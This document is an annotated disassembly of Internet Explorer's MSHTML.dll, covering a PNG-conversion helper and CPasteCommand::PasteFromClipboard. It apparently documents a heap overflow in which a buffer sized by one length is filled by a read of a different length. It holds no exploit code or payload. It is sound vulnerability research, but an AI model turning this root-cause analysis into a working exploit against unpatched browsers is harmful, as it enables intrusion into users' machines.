6f38195f ff75ac          push    dword ptr [ebp-54h]                            larg3<stack> = po­CMem­Stm<stack>                                                 
6f381962 8b4da8          mov     ecx,dword ptr [ebp-58h]                        larg1<ecx> = po­Wic­Bitmap<stack>                                             
6f381965 ba24a4736e      mov     edx,6e73a424                                   larg2<edx> = &GUID_­Container­Format­Png<dll>                                      
6f38196a e8e4f6e6ff      call    6f1f1053                                       h­Result<eax> = MSHTML!Write­Wic­Bitmap­To­Stream(                                   if (FAILED(h­Result = Write­Wic­Bitmap­To­Stream(po­Wic­Bitmap, &GUID_­Container­Format­Png, po­CMem­Stm)))
                                                                                    po­Wic­Bitmap,                                                                
                                                                                    &GUID_­Container­Format­Png,                                                   
                                                                                    po­CMem­Stm)                                                                  
6f38196f 8bf8            mov     edi,eax                                        h­Result<edi> = h­Result<eax>                                                     
6f381971 85ff            test    edi,edi                                        if (h­Result<edi> < 0)                                                           
6f381973 0f8881000000    js      6f3819fa                                           goto exit_­label_1                                                               goto exit_­label_1;
6f381979 8b45ac          mov     eax,dword ptr [ebp-54h]                        po­CMem­Stm<eax> = po­CMem­Stm<stack>                                               
6f38197c 8d55b0          lea     edx,[ebp-50h]                                  &o­Stat­Stg<edx> = &(o­Stat­Stg<stack>)                                             
6f38197f 33f6            xor     esi,esi                                        0<esi> = 0                                                                      
6f381981 56              push    esi                                            larg3<stack> = 0<esi>                                                           
6f381982 52              push    edx                                            larg2<stack> = &o­Stat­Stg<edx>                                                   
6f381983 8b08            mov     ecx,dword ptr [eax]                            af­VFTable<ecx> = po­CMem­Stm<eax>->af­VFTable                                      
6f381985 50              push    eax                                            larg1<stack> = po­CMem­Stm<eax>                                               
6f381986 ff5130          call    dword ptr [ecx+30h]                            h­Result<eax> = po­CMem­Stm->Stat(&o­Stat­Stg, 0)                                    if (FAILED(h­Result = po­CMem­Stm->Stat(&o­Stat­Stg, 0)))
6f381989 8bf8            mov     edi,eax                                        h­Result<edi> = h­Result<eax>                                                     
6f38198b 85ff            test    edi,edi                                        if (h­Result<edi> < 0)                                                           
6f38198d 786b            js      6f3819fa                                           goto exit_­label_1                                                               goto exit_­label_1;
6f38198f 8b45b8          mov     eax,dword ptr [ebp-48h]                        u­Png­Image­Size<eax> = o­Stat­Stg<stack>.cb­Size.Low­Part                             
6f381992 8d4da4          lea     ecx,[ebp-5Ch]                                  &po­Png­Image<ecx> = &(po­Png­Image<stack>)                                         
6f381995 ff750c          push    dword ptr [ebp+0Ch]                            u­Bitmap­Size<stack> = u­Bitmap­Size<stack>                                         
6f381998 8903            mov     dword ptr [ebx],eax                            *pu­Png­Image­Size<ebx> = u­Png­Image­Size<eax>                                       *pu­Png­Image­Size = o­Stat­Stg.cb­Size.Low­Part
6f38199a 8975a4          mov     dword ptr [ebp-5Ch],esi                        po­Png­Image<stack> = 0<esi>                                                      ppo­Png­Image = NULL
6f38199d e8c34453ff      call    6e8b5e65                                       MSHTML!TSmart­Array<unsigned char>::New(                                         if (FAILED(h­Result = po­Png­Image->New(u­Bitmap­Size)))
                                                                                    u­Bitmap­Size<stack>)                                                         
6f3819a2 8bf8            mov     edi,eax                                        h­Result<edi> = h­Result<eax>                                                     
6f3819a4 85ff            test    edi,edi                                        if (h­Result<edi> >= 0)                                                          
6f3819a6 7905            jns     6f3819ad                                           goto skip_1                                                                 
                                                                                free_­and_­exit_­label_2:                                                          
6f3819a8 8b4da4          mov     ecx,dword ptr [ebp-5Ch]                        po­Png­Image<ecx> = po­Png­Image<stack>                                             goto free_­po­Png­Image_­and_­exit
6f3819ab eb48            jmp     6f3819f5                                       goto free_­and_­exit_­label_1                                                      
                                                                                skip_1:                                                                         
6f3819ad 8b45ac          mov     eax,dword ptr [ebp-54h]                        po­CMem­Stm<eax> = po­CMem­Stm<stack>                                               
6f3819b0 8d5590          lea     edx,[ebp-70h]                                  &p­Position­Low<edx> = &(p­Position­Low<stack>)                                     
6f3819b3 52              push    edx                                            larg3.2 = &p­Position­Low<edx>                                                    
6f3819b4 56              push    esi                                            larg3.1 = 0<esi>                                                                
6f3819b5 56              push    esi                                            larg2.2 = 0<esi>                                                                
6f3819b6 8b08            mov     ecx,dword ptr [eax]                            af­VFTable<ecx> = po­CMem­Stm<eax>->af­VFTable                                      
6f3819b8 56              push    esi                                            larg2.1 = 0<esi>                                                                
6f3819b9 50              push    eax                                            larg1 = po­CMem­Stm<eax>                                                      
6f3819ba ff5114          call    dword ptr [ecx+14h]                            h­Result<eax> = po­CMem­Stm->Seek(                                                 if (FAILED(h­Result = po­CMem­Stm->Seek(0, STREAM_­SEEK_­SET, NULL, &p­Position­Low)))
                                                                                    0,                                                                          
                                                                                    STREAM_­SEEK_­SET,                                                            
                                                                                    NULL,                                                                       
                                                                                    &p­Position­Low)                                                              
6f3819bd 8bf8            mov     edi,eax                                        h­Result<edi> = h­Result<eax>                                                     
6f3819bf 85ff            test    edi,edi                                        if (h­Result<edi> < 0)                                                           
6f3819c1 78e5            js      6f3819a8                                           goto free_­and_­exit_­label_2                                                      goto free_­po­Png­Image_­and_­exit
6f3819c3 8b45ac          mov     eax,dword ptr [ebp-54h]                        po­CMem­Stm<eax> = po­CMem­Stm<stack>                                               
6f3819c6 8d55a0          lea     edx,[ebp-60h]                                  &u­Read­Size<edx> = &(u­Read­Size<stack>)                                           
6f3819c9 8b75a4          mov     esi,dword ptr [ebp-5Ch]                        po­Png­Image<esi> = po­Png­Image<stack>                                             
6f3819cc 52              push    edx                                            larg4 = &u­Read­Size<edx>                                                         
6f3819cd ff33            push    dword ptr [ebx]                                larg3 = *pu­Png­Image­Size<ebx>                                                    
6f3819cf 8b08            mov     ecx,dword ptr [eax]                            af­VFTable<ecx> = po­CMem­Stm<eax>->af­VFTable                                      
6f3819d1 56              push    esi                                            larg2 = po­Png­Image<esi>                                                         
6f3819d2 50              push    eax                                            larg1 = <eax>                                                               
6f3819d3 ff510c          call    dword ptr [ecx+0Ch]                            h­Result = po­CMem­Stm->Read(                                                      if (FAILED(po­CMem­Stm->Read(po­Png­Image, *pu­Png­Image­Size, &u­Read­Size)))
                                                                                    po­Png­Image,                                                                 
       **************                                                               *pu­Png­Image­Size,                                                            
                                                                                    &u­Read­Size)                                                                 
6f3819d6 8bf8            mov     edi,eax                                        h­Result<edi> = h­Result<eax>                                                     
6f3819d8 85ff            test    edi,edi                                        if (h­Result<edi> >= 0)                                                              goto free_­po­Png­Image_­and_­exit
6f3819da 7904            jns     6f3819e0                                           goto skip_­label_2                                                           
6f3819dc                                                                        goto free_­and_­exit_­label_3                                                      
                                                                                skip_­label_2:                                                                   
6f3819e0 8b03            mov     eax,dword ptr [ebx]                            u­Png­Info­Size<eax> = *pu­Png­Image­Size<ebx>                                        
6f3819e2 3b45a0          cmp     eax,dword ptr [ebp-60h]                        if (u­Png­Info­Size<eax> == u­Read­Size<stack>)                                      if (u­Png­Info­Size != u­Read­Size) {
6f3819e5 7407            je      6f3819ee                                           goto skip_­label_3                                                           
6f3819e7 bfffff0080      mov     edi,8000FFFFh                                  h­Result<edi> = 0x8000FFFF (Error: Catastrophic failure)                             h­Result = 0x8000FFFF (Error: Catastrophic failure)
6f3819ec ebee            jmp     6f3819dc                                       goto free_­and_­exit_­label_3                                                          goto free_­po­Png­Image_­and_­exit
                                                                                free_­and_­exit_­label_3:                                                          }
6f3819dc 8bce            mov     ecx,esi                                        po­Png­Image<ecx> = po­Png­Image<esi>                                               
6f3819de eb15            jmp     6f3819f5                                           goto free_­and_­exit_­label_1                                                  
                                                                                                                                                                
                                                                                skip_­label_3:                                                                   
6f3819ee 8b459c          mov     eax,dword ptr [ebp-64h]                        ppo­Png­Image<eax> = ppo­Png­Image<stack>                                           
6f3819f1 33c9            xor     ecx,ecx                                        po­Png­Image<ecx> = NULL                                                          
6f3819f3 8930            mov     dword ptr [eax],esi                            *ppo­Png­Image<eax> = po­Png­Image<esi>                                             *ppo­Png­Image = po­Png­Image, po­Png­Image = NULL
                                                                                                                                                                
                                                                                free_­and_­exit_­label_1:                                                          free_­po­Png­Image_­and_­exit:
6f3819f5 e881f620ff      call    6e59107b                                       MSHTML!Process­Heap­Free(po­Png­Image<ecx>)                                         Process­Heap­Free(po­Png­Image)
exit_­label_1:                                                                                                                                                   
6f3819fa 8d4dac          lea     ecx,[ebp-54h]                                  &po­CMem­Stm<ecx> = &(po­CMem­Stm<stack>)                                           
6f3819fd e89f4b25ff      call    6e5d65a1                                       MSHTML!SP<Tree::Grid­Track­List>::~SP<Tree::Grid­Track­List>(                       
                                                                                    &po­CMem­Stm<ecx>)                                                            
6f381a02 8d4da8          lea     ecx,[ebp-58h]                                  &po­Wic­Bitmap<ecx> = &(po­Wic­Bitmap<stack>)                                       
6f381a05 e8974b25ff      call    6e5d65a1                                       MSHTML!SP<Tree::Grid­Track­List>::~SP<Tree::Grid­Track­List>(                       
                                                                                    &po­Wic­Bitmap<ecx>)                                                          
6f381a0a 8b4dfc          mov     ecx,dword ptr [ebp-4]                                                                                                          
6f381a0d 8bc7            mov     eax,edi                                        return h­Result<edi>                                                             
6f381a0f 5f              pop     edi                                                                                                                            
6f381a10 5e              pop     esi                                                                                                                            
6f381a11 33cd            xor     ecx,ebp                                                                                                                        
6f381a13 5b              pop     ebx                                                                                                                            
6f381a14 e8f7f520ff      call    MSHTML!__security_­check_­cookie (6e591010)                                                                                      
6f381a19 8be5            mov     esp,ebp                                                                                                                        
6f381a1b 5d              pop     ebp                                                                                                                            
6f381a1c c21000          ret     10h                                                                                                                            
6f381a1f 90              nop                                                                                                                                    
6f381a20 90              nop                                                                                                                                    
6f381a21 90              nop                                                                                                                                    
6f381a22 90              nop                                                                                                                                    
6f381a23 90              nop                                                                                                                                    
                                                                                                                                                                
MSHTML!CPaste­Command..Paste­From­Clipboard.txt
MSHTML!CPaste­Command::Paste­From­Clipboard(
    self<ecx>,
    x­Arg1<ebp+8>,
    x­Arg2<ebp+C>,
    x­Arg3<ebp+10>,
    x­Arg4<ebp+14>,
    x­Arg5<ebp+18>,
    x­Arg6<ebp+1C>,
    x­Arg7<ebp+20>,
    x­Arg8<ebp+24>):
esp+34 = VOID* var34 (po­Bitmap)
esp+38 = BYTE[]* var38 (pab­Image­Data)
esp+4C = UINT var4C (u­Bitmap­Size)
esp+50 = UINT var50 (u­Bitmap­Info­Size / u­Png­Image­Size)

MSHTML!CPaste­Command::Paste­From­Clipboard:

72cf6235 8bff            mov     edi,edi
72cf6237 55              push    ebp
72cf6238 8bec            mov     ebp,esp
72cf623a 83e4f8          and     esp,0FFFFFFF8h
72cf623d 83ec74          sub     esp,74h
72cf6240 53              push    ebx
72cf6241 56              push    esi
72cf6242 57              push    edi
72cf6243 8bd9            mov     ebx,ecx
72cf6245 e8b1cdfdff      call    MSHTML!CCommand::Doc (72cd2ffb)
72cf624a 50              push    eax
72cf624b 8d4c2478        lea     ecx,[esp+78h]
72cf624f e86fb1afff      call    MSHTML!CPaste­Operation­State::CPaste­Operation­State (727f13c3)
72cf6254 33ff            xor     edi,edi
72cf6256 8bcb            mov     ecx,ebx
72cf6258 897c243c        mov     dword ptr [esp+3Ch],edi
72cf625c 897c2410        mov     dword ptr [esp+10h],edi
72cf6260 897c2430        mov     dword ptr [esp+30h],edi
72cf6264 897c2468        mov     dword ptr [esp+68h],edi
72cf6268 897c246c        mov     dword ptr [esp+6Ch],edi
72cf626c 897c2470        mov     dword ptr [esp+70h],edi
72cf6270 897c2414        mov     dword ptr [esp+14h],edi
72cf6274 897c2424        mov     dword ptr [esp+24h],edi
72cf6278 e87ecdfdff      call    MSHTML!CCommand::Doc (72cd2ffb)
72cf627d 8b4b08          mov     ecx,dword ptr [ebx+8]
72cf6280 8bf0            mov     esi,eax
72cf6282 83c110          add     ecx,10h
72cf6285 897c2428        mov     dword ptr [esp+28h],edi
72cf6289 897c242c        mov     dword ptr [esp+2Ch],edi
72cf628d 897c2440        mov     dword ptr [esp+40h],edi
72cf6291 6a01            push    1
72cf6293 8b01            mov     eax,dword ptr [ecx]
72cf6295 89742454        mov     dword ptr [esp+54h],esi
72cf6299 897c241c        mov     dword ptr [esp+1Ch],edi
72cf629d 897c2420        mov     dword ptr [esp+20h],edi
72cf62a1 ff503c          call    dword ptr [eax+3Ch]
72cf62a4 56              push    esi
72cf62a5 8d4c2460        lea     ecx,[esp+60h]
72cf62a9 8944245c        mov     dword ptr [esp+5Ch],eax
72cf62ad 897c2464        mov     dword ptr [esp+64h],edi
72cf62b1 e8899265ff      call    MSHTML!CEnable­Deferring­Accessibility­Events::CEnable­Deferring­Accessibility­Events (7234f53f)
72cf62b6 8b7d08          mov     edi,dword ptr [ebp+8]
72cf62b9 8bcf            mov     ecx,edi
72cf62bb 8b07            mov     eax,dword ptr [edi]
72cf62bd ff9080000000    call    dword ptr [eax+80h]
72cf62c3 85c0            test    eax,eax
72cf62c5 0f84fd050000    je      MSHTML!CPaste­Command::Paste­From­Clipboard+0x693 (72cf68c8)
72cf62cb 8b4d0c          mov     ecx,dword ptr [ebp+0Ch]
72cf62ce 8b01            mov     eax,dword ptr [ecx]
72cf62d0 ff9080000000    call    dword ptr [eax+80h]
72cf62d6 85c0            test    eax,eax
72cf62d8 0f84ea050000    je      MSHTML!CPaste­Command::Paste­From­Clipboard+0x693 (72cf68c8)
72cf62de 837d2000        cmp     dword ptr [ebp+20h],0
72cf62e2 741c            je      MSHTML!CPaste­Command::Paste­From­Clipboard+0xcb (72cf6300)
72cf62e4 8bcb            mov     ecx,ebx
72cf62e6 e810cdfdff      call    MSHTML!CCommand::Doc (72cd2ffb)
72cf62eb 8bf0            mov     esi,eax
72cf62ed 8bcf            mov     ecx,edi
72cf62ef 8b07            mov     eax,dword ptr [edi]
72cf62f1 ff5078          call    dword ptr [eax+78h]
72cf62f4 50              push    eax
72cf62f5 8d8e7c010000    lea     ecx,[esi+17Ch]
72cf62fb e8bd2967ff      call    MSHTML!TSmart­Pointer<CMarkup>::operator= (72368cbd)
72cf6300 8b4b08          mov     ecx,dword ptr [ebx+8]
72cf6303 8d542418        lea     edx,[esp+18h]
72cf6307 8d4910          lea     ecx,[ecx+10h]
72cf630a e8ea7062ff      call    MSHTML!Create­Markup­Pointer2 (7231d3f9)
72cf630f 8bf0            mov     esi,eax
72cf6311 85f6            test    esi,esi
72cf6313 0f88b4050000    js      MSHTML!CPaste­Command::Paste­From­Clipboard+0x698 (72cf68cd)
72cf6319 8b4c2418        mov     ecx,dword ptr [esp+18h]
72cf631d 57              push    edi
72cf631e 51              push    ecx
72cf631f 8b01            mov     eax,dword ptr [ecx]
72cf6321 ff5030          call    dword ptr [eax+30h]
72cf6324 8bf0            mov     esi,eax
72cf6326 85f6            test    esi,esi
72cf6328 0f889f050000    js      MSHTML!CPaste­Command::Paste­From­Clipboard+0x698 (72cf68cd)
72cf632e 8b4c2418        mov     ecx,dword ptr [esp+18h]
72cf6332 6a00            push    0
72cf6334 51              push    ecx
72cf6335 8b01            mov     eax,dword ptr [ecx]
72cf6337 ff5014          call    dword ptr [eax+14h]
72cf633a 8bf0            mov     esi,eax
72cf633c 85f6            test    esi,esi
72cf633e 0f8889050000    js      MSHTML!CPaste­Command::Paste­From­Clipboard+0x698 (72cf68cd)
72cf6344 8b4b08          mov     ecx,dword ptr [ebx+8]
72cf6347 8d54241c        lea     edx,[esp+1Ch]
72cf634b 8d4910          lea     ecx,[ecx+10h]
72cf634e e8a67062ff      call    MSHTML!Create­Markup­Pointer2 (7231d3f9)
72cf6353 8bf0            mov     esi,eax
72cf6355 85f6            test    esi,esi
72cf6357 0f8870050000    js      MSHTML!CPaste­Command::Paste­From­Clipboard+0x698 (72cf68cd)
72cf635d 8b4c241c        mov     ecx,dword ptr [esp+1Ch]
72cf6361 57              push    edi
72cf6362 51              push    ecx
72cf6363 8b01            mov     eax,dword ptr [ecx]
72cf6365 ff5030          call    dword ptr [eax+30h]
72cf6368 8bf0            mov     esi,eax
72cf636a 85f6            test    esi,esi
72cf636c 0f885b050000    js      MSHTML!CPaste­Command::Paste­From­Clipboard+0x698 (72cf68cd)
72cf6372 8b4c241c        mov     ecx,dword ptr [esp+1Ch]
72cf6376 6a01            push    1
72cf6378 51              push    ecx
72cf6379 8b01            mov     eax,dword ptr [ecx]
72cf637b ff5014          call    dword ptr [eax+14h]
72cf637e 8bf0            mov     esi,eax
72cf6380 85f6            test    esi,esi
72cf6382 0f8845050000    js      MSHTML!CPaste­Command::Paste­From­Clipboard+0x698 (72cf68cd)
72cf6388 8b03            mov     eax,dword ptr [ebx]
72cf638a 8d4c2448        lea     ecx,[esp+48h]
72cf638e 51              push    ecx
72cf638f 8d4c2458        lea     ecx,[esp+58h]
72cf6393 51              push    ecx
72cf6394 8d4c241c        lea     ecx,[esp+1Ch]
72cf6398 51              push    ecx
72cf6399 8bcb            mov     ecx,ebx
72cf639b ff5030          call    dword ptr [eax+30h]
72cf639e 8bf0            mov     esi,eax
72cf63a0 85f6            test    esi,esi
72cf63a2 0f8825050000    js      MSHTML!CPaste­Command::Paste­From­Clipboard+0x698 (72cf68cd)
72cf63a8 8b442450        mov     eax,dword ptr [esp+50h]
72cf63ac 85c0            test    eax,eax
72cf63ae 741e            je      MSHTML!CPaste­Command::Paste­From­Clipboard+0x199 (72cf63ce)
72cf63b0 6afe            push    0FFFFFFFEh
72cf63b2 59              pop     ecx
72cf63b3 663b88840e0000  cmp     cx,word ptr [eax+0E84h]
72cf63ba 7512            jne     MSHTML!CPaste­Command::Paste­From­Clipboard+0x199 (72cf63ce)
72cf63bc 66894c2464      mov     word ptr [esp+64h],cx
72cf63c1 33c9            xor     ecx,ecx
72cf63c3 89442460        mov     dword ptr [esp+60h],eax
72cf63c7 668988840e0000  mov     word ptr [eax+0E84h],cx
72cf63ce 837d1000        cmp     dword ptr [ebp+10h],0
72cf63d2 7558            jne     MSHTML!CPaste­Command::Paste­From­Clipboard+0x1f7 (72cf642c)
72cf63d4 8d44243c        lea     eax,[esp+3Ch]
72cf63d8 50              push    eax
72cf63d9 ff15b8c1d972    call    dword ptr [MSHTML!_imp__­Ole­Get­Clipboard (72d9c1b8)]
72cf63df 8bf0            mov     esi,eax
72cf63e1 85f6            test    esi,esi
72cf63e3 0f85e4040000    jne     MSHTML!CPaste­Command::Paste­From­Clipboard+0x698 (72cf68cd)
72cf63e9 8d44242c        lea     eax,[esp+2Ch]
72cf63ed 50              push    eax
72cf63ee b8c0bfff71      mov     eax,offset MSHTML!IID_­IDoc­Host­UIHandler (71ffbfc0)
72cf63f3 50              push    eax
72cf63f4 50              push    eax
72cf63f5 8b4308          mov     eax,dword ptr [ebx+8]
72cf63f8 ff7018          push    dword ptr [eax+18h]
72cf63fb e854465dff      call    MSHTML!CDocument::Query­Service (722caa54)
72cf6400 8b4c242c        mov     ecx,dword ptr [esp+2Ch]
72cf6404 8b54243c        mov     edx,dword ptr [esp+3Ch]
72cf6408 895510          mov     dword ptr [ebp+10h],edx
72cf640b 85c9            test    ecx,ecx
72cf640d 741d            je      MSHTML!CPaste­Command::Paste­From­Clipboard+0x1f7 (72cf642c)
72cf640f 8b01            mov     eax,dword ptr [ecx]
72cf6411 8d742428        lea     esi,[esp+28h]
72cf6415 56              push    esi
72cf6416 52              push    edx
72cf6417 51              push    ecx
72cf6418 ff5044          call    dword ptr [eax+44h]
72cf641b 85c0            test    eax,eax
72cf641d 750d            jne     MSHTML!CPaste­Command::Paste­From­Clipboard+0x1f7 (72cf642c)
72cf641f 39442428        cmp     dword ptr [esp+28h],eax
72cf6423 7407            je      MSHTML!CPaste­Command::Paste­From­Clipboard+0x1f7 (72cf642c)
72cf6425 8b442428        mov     eax,dword ptr [esp+28h]
72cf6429 894510          mov     dword ptr [ebp+10h],eax
72cf642c 8b4b08          mov     ecx,dword ptr [ebx+8]
72cf642f 8d442424        lea     eax,[esp+24h]
72cf6433 50              push    eax
72cf6434 57              push    edi
72cf6435 e886255aff      call    MSHTML!CHTMLEditor::Get­Flow­Element (722989c0)
72cf643a 8bf0            mov     esi,eax
72cf643c 85f6            test    esi,esi
72cf643e 0f8889040000    js      MSHTML!CPaste­Command::Paste­From­Clipboard+0x698 (72cf68cd)
72cf6444 8b442424        mov     eax,dword ptr [esp+24h]
72cf6448 85c0            test    eax,eax
72cf644a 750a            jne     MSHTML!CPaste­Command::Paste­From­Clipboard+0x221 (72cf6456)
72cf644c c744244401000000 mov     dword ptr [esp+44h],1
72cf6454 eb3a            jmp     MSHTML!CPaste­Command::Paste­From­Clipboard+0x25b (72cf6490)
72cf6456 8b30            mov     esi,dword ptr [eax]
72cf6458 8d4c2440        lea     ecx,[esp+40h]
72cf645c e82e5462ff      call    MSHTML!CSmart­Ptr<IHTMLElement3>::operator& (7231b88f)
72cf6461 50              push    eax
72cf6462 6854e82172      push    offset MSHTML!IID_­IHTMLElement3 (7221e854)
72cf6467 ff74242c        push    dword ptr [esp+2Ch]
72cf646b ff16            call    dword ptr [esi]
72cf646d 8bf0            mov     esi,eax
72cf646f 85f6            test    esi,esi
72cf6471 0f8856040000    js      MSHTML!CPaste­Command::Paste­From­Clipboard+0x698 (72cf68cd)
72cf6477 8b442440        mov     eax,dword ptr [esp+40h]
72cf647b 8d542444        lea     edx,[esp+44h]
72cf647f 52              push    edx
72cf6480 50              push    eax
72cf6481 8b08            mov     ecx,dword ptr [eax]
72cf6483 ff5124          call    dword ptr [ecx+24h]
72cf6486 8bf0            mov     esi,eax
72cf6488 85f6            test    esi,esi
72cf648a 0f883d040000    js      MSHTML!CPaste­Command::Paste­From­Clipboard+0x698 (72cf68cd)
72cf6490 8b7c2454        mov     edi,dword ptr [esp+54h]
72cf6494 6bc714          imul    eax,edi,14h
72cf6497 01442414        add     dword ptr [esp+14h],eax
72cf649b e9cc010000      jmp     MSHTML!CPaste­Command::Paste­From­Clipboard+0x437 (72cf666c)
72cf64a0 66837c244400    cmp     word ptr [esp+44h],0
72cf64a6 750e            jne     MSHTML!CPaste­Command::Paste­From­Clipboard+0x281 (72cf64b6)
72cf64a8 83ff03          cmp     edi,3
72cf64ab 7409            je      MSHTML!CPaste­Command::Paste­From­Clipboard+0x281 (72cf64b6)
72cf64ad 83ff02          cmp     edi,2
72cf64b0 0f85b0010000    jne     MSHTML!CPaste­Command::Paste­From­Clipboard+0x431 (72cf6666)
72cf64b6 8b4d10          mov     ecx,dword ptr [ebp+10h]
72cf64b9 ff742414        push    dword ptr [esp+14h]
72cf64bd 51              push    ecx
72cf64be 8b01            mov     eax,dword ptr [ecx]
72cf64c0 ff5014          call    dword ptr [eax+14h]
72cf64c3 85c0            test    eax,eax
72cf64c5 0f859b010000    jne     MSHTML!CPaste­Command::Paste­From­Clipboard+0x431 (72cf6666)
72cf64cb 83ff04          cmp     edi,4
72cf64ce 7418            je      MSHTML!CPaste­Command::Paste­From­Clipboard+0x2b3 (72cf64e8)
72cf64d0 83ff01          cmp     edi,1
72cf64d3 7413            je      MSHTML!CPaste­Command::Paste­From­Clipboard+0x2b3 (72cf64e8)
72cf64d5 83ff03          cmp     edi,3
72cf64d8 740e            je      MSHTML!CPaste­Command::Paste­From­Clipboard+0x2b3 (72cf64e8)
72cf64da 83ff02          cmp     edi,2
72cf64dd 7409            je      MSHTML!CPaste­Command::Paste­From­Clipboard+0x2b3 (72cf64e8)
72cf64df 85ff            test    edi,edi
72cf64e1 7405            je      MSHTML!CPaste­Command::Paste­From­Clipboard+0x2b3 (72cf64e8)
72cf64e3 83ff08          cmp     edi,8
72cf64e6 7524            jne     MSHTML!CPaste­Command::Paste­From­Clipboard+0x2d7 (72cf650c)
72cf64e8 8b4d10          mov     ecx,dword ptr [ebp+10h]
72cf64eb 8d542468        lea     edx,[esp+68h]
72cf64ef 52              push    edx
72cf64f0 ff742418        push    dword ptr [esp+18h]
72cf64f4 8b01            mov     eax,dword ptr [ecx]
72cf64f6 51              push    ecx
72cf64f7 ff500c          call    dword ptr [eax+0Ch]
72cf64fa 85c0            test    eax,eax
72cf64fc 0f8564010000    jne     MSHTML!CPaste­Command::Paste­From­Clipboard+0x431 (72cf6666)
72cf6502 8b44246c        mov     eax,dword ptr [esp+6Ch]
72cf6506 89442410        mov     dword ptr [esp+10h],eax
72cf650a eb04            jmp     MSHTML!CPaste­Command::Paste­From­Clipboard+0x2db (72cf6510)
72cf650c 8b442410        mov     eax,dword ptr [esp+10h]
72cf6510 85ff            test    edi,edi
72cf6512 0f84f8000000    je      MSHTML!CPaste­Command::Paste­From­Clipboard+0x3db (72cf6610)
72cf6518 83ff01          cmp     edi,1
72cf651b 744d            je      MSHTML!CPaste­Command::Paste­From­Clipboard+0x335 (72cf656a)
72cf651d 83ff02          cmp     edi,2
72cf6520 0f84d1020000    je      MSHTML!CPaste­Command::Paste­From­Clipboard+0x5c2 (72cf67f7)
72cf6526 0f8e3a010000    jle     MSHTML!CPaste­Command::Paste­From­Clipboard+0x431 (72cf6666)
72cf652c 83ff04          cmp     edi,4
72cf652f 0f8e0d020000    jle     MSHTML!CPaste­Command::Paste­From­Clipboard+0x50d (72cf6742)
72cf6535 83ff08          cmp     edi,8
72cf6538 0f8528010000    jne     MSHTML!CPaste­Command::Paste­From­Clipboard+0x431 (72cf6666)
72cf653e 50              push    eax
72cf653f ff15e043dc72    call    dword ptr [MSHTML!_imp__­Global­Lock (72dc43e0)]
72cf6545 8bf8            mov     edi,eax
72cf6547 8b442410        mov     eax,dword ptr [esp+10h]
72cf654b 89442420        mov     dword ptr [esp+20h],eax
72cf654f 85ff            test    edi,edi
72cf6551 0f8524010000    jne     MSHTML!CPaste­Command::Paste­From­Clipboard+0x446 (72cf667b)
72cf6557 be0e000780      mov     esi,8007000Eh
72cf655c 8d4c2420        lea     ecx,[esp+20h]
72cf6560 e819f1bfff      call    MSHTML!TSmart­Handle<void *,&Global­Unlock>::~TSmart­Handle<void *,&Global­Unlock> (728f567e)
72cf6565 e963030000      jmp     MSHTML!CPaste­Command::Paste­From­Clipboard+0x698 (72cf68cd)
72cf656a 8b4c242c        mov     ecx,dword ptr [esp+2Ch]
72cf656e e87b8f0200      call    MSHTML!Ed­Util::Is­Rtf­Converter­Enabled (72d1f4ee)
72cf6573 85c0            test    eax,eax
72cf6575 0f84eb000000    je      MSHTML!CPaste­Command::Paste­From­Clipboard+0x431 (72cf6666)
72cf657b ff742410        push    dword ptr [esp+10h]
72cf657f ff15e043dc72    call    dword ptr [MSHTML!_imp__­Global­Lock (72dc43e0)]
72cf6585 85c0            test    eax,eax
72cf6587 0f84ff010000    je      MSHTML!CPaste­Command::Paste­From­Clipboard+0x557 (72cf678c)
72cf658d 8d4c2420        lea     ecx,[esp+20h]
72cf6591 8bd0            mov     edx,eax
72cf6593 51              push    ecx
72cf6594 e8a598fdff      call    MSHTML!CRtf­To­Html­Converter::String­Rtf­To­String­Html (72ccfe3e)
72cf6599 ff742410        push    dword ptr [esp+10h]
72cf659d 8bf0            mov     esi,eax
72cf659f ff15dc43dc72    call    dword ptr [MSHTML!_imp__­Global­Unlock (72dc43dc)]
72cf65a5 85f6            test    esi,esi
72cf65a7 0f85b4000000    jne     MSHTML!CPaste­Command::Paste­From­Clipboard+0x42c (72cf6661)
72cf65ad 397518          cmp     dword ptr [ebp+18h],esi
72cf65b0 7436            je      MSHTML!CPaste­Command::Paste­From­Clipboard+0x3b3 (72cf65e8)
72cf65b2 397520          cmp     dword ptr [ebp+20h],esi
72cf65b5 741d            je      MSHTML!CPaste­Command::Paste­From­Clipboard+0x39f (72cf65d4)
72cf65b7 ff7524          push    dword ptr [ebp+24h]
72cf65ba 8bcb            mov     ecx,ebx
72cf65bc ff751c          push    dword ptr [ebp+1Ch]
72cf65bf ff750c          push    dword ptr [ebp+0Ch]
72cf65c2 ff7508          push    dword ptr [ebp+8]
72cf65c5 e802bbffff      call    MSHTML!CPaste­Command::Fire­Paste­Event­And­Remove­Selection (72cf20cc)
72cf65ca 8bf0            mov     esi,eax
72cf65cc 85f6            test    esi,esi
72cf65ce 0f85f9020000    jne     MSHTML!CPaste­Command::Paste­From­Clipboard+0x698 (72cf68cd)
72cf65d4 ff742420        push    dword ptr [esp+20h]
72cf65d8 8b4b08          mov     ecx,dword ptr [ebx+8]
72cf65db ff750c          push    dword ptr [ebp+0Ch]
72cf65de ff7508          push    dword ptr [ebp+8]
72cf65e1 e89158fdff      call    MSHTML!CHTMLEditor::Do­The­Darn­IE50Paste­HTML (72ccbe77)
72cf65e6 eb1a            jmp     MSHTML!CPaste­Command::Paste­From­Clipboard+0x3cd (72cf6602)
72cf65e8 ff7524          push    dword ptr [ebp+24h]
72cf65eb 8bcb            mov     ecx,ebx
72cf65ed ff751c          push    dword ptr [ebp+1Ch]
72cf65f0 ff7520          push    dword ptr [ebp+20h]
72cf65f3 ff74242c        push    dword ptr [esp+2Ch]
72cf65f7 ff750c          push    dword ptr [ebp+0Ch]
72cf65fa ff7508          push    dword ptr [ebp+8]
72cf65fd e861e4ffff      call    MSHTML!CPaste­Command::Handle­UIPaste­HTML (72cf4a63)
72cf6602 ff742420        push    dword ptr [esp+20h]
72cf6606 8bf0            mov     esi,eax
72cf6608 ff15f044dc72    call    dword ptr [MSHTML!_imp__­Global­Free (72dc44f0)]
72cf660e eb23            jmp     MSHTML!CPaste­Command::Paste­From­Clipboard+0x3fe (72cf6633)
72cf6610 837d1800        cmp     dword ptr [ebp+18h],0
72cf6614 0f8578020000    jne     MSHTML!CPaste­Command::Paste­From­Clipboard+0x65d (72cf6892)
72cf661a ff7524          push    dword ptr [ebp+24h]
72cf661d 8bcb            mov     ecx,ebx
72cf661f ff751c          push    dword ptr [ebp+1Ch]
72cf6622 ff7520          push    dword ptr [ebp+20h]
72cf6625 50              push    eax
72cf6626 ff750c          push    dword ptr [ebp+0Ch]
